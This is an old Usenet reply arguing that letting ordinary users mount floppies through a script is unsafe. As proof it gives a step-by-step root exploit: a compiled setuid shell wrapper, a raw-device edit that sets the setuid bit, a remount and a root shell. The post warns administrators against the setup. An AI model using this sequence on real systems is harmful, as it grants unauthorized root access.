mounting and setuid question...

[Randal Schwartz]

In article <23 at gagme.uucp>, gulik at gagme (Gregory Gulik) writes:
| Is it possible to set up a shell script that will
| allow non-super-user people to mount a floppy file system?

Yes... but...

| How should I be doing this?

... you shouldn't.

Mounting a trashed filesystem will take your system down *real* fast.
I suppose you could run fsck on your to-be-mounted floppy, and verify
the exit status, but that sounds like a lot of work, because it
doesn't avoid the second problem... described as so:

(presume mountflop does an fsck followed by a mount, and umountflop
does the reverse).

$ newfs /dev/flop
$ mountflop
$ cd /flop
$ cat >x.c
main() { setuid(geteuid()); exec("/bin/sh","sh",0); }
^D
$ cc x.c -o x
$ cd /
$ umountflop
$ emacs /dev/flop
[find inode table, turn on setuid bit on ./x]
$ mountflop
$ /flop/x
# [a root shell]

Sorry.  It's too easy.

(C code deliberately untested for security through obscurity.. :-)

Just another UNIX hacker,
-- 
/== Randal L. Schwartz, Stonehenge Consulting Services (503)777-0095 ====\
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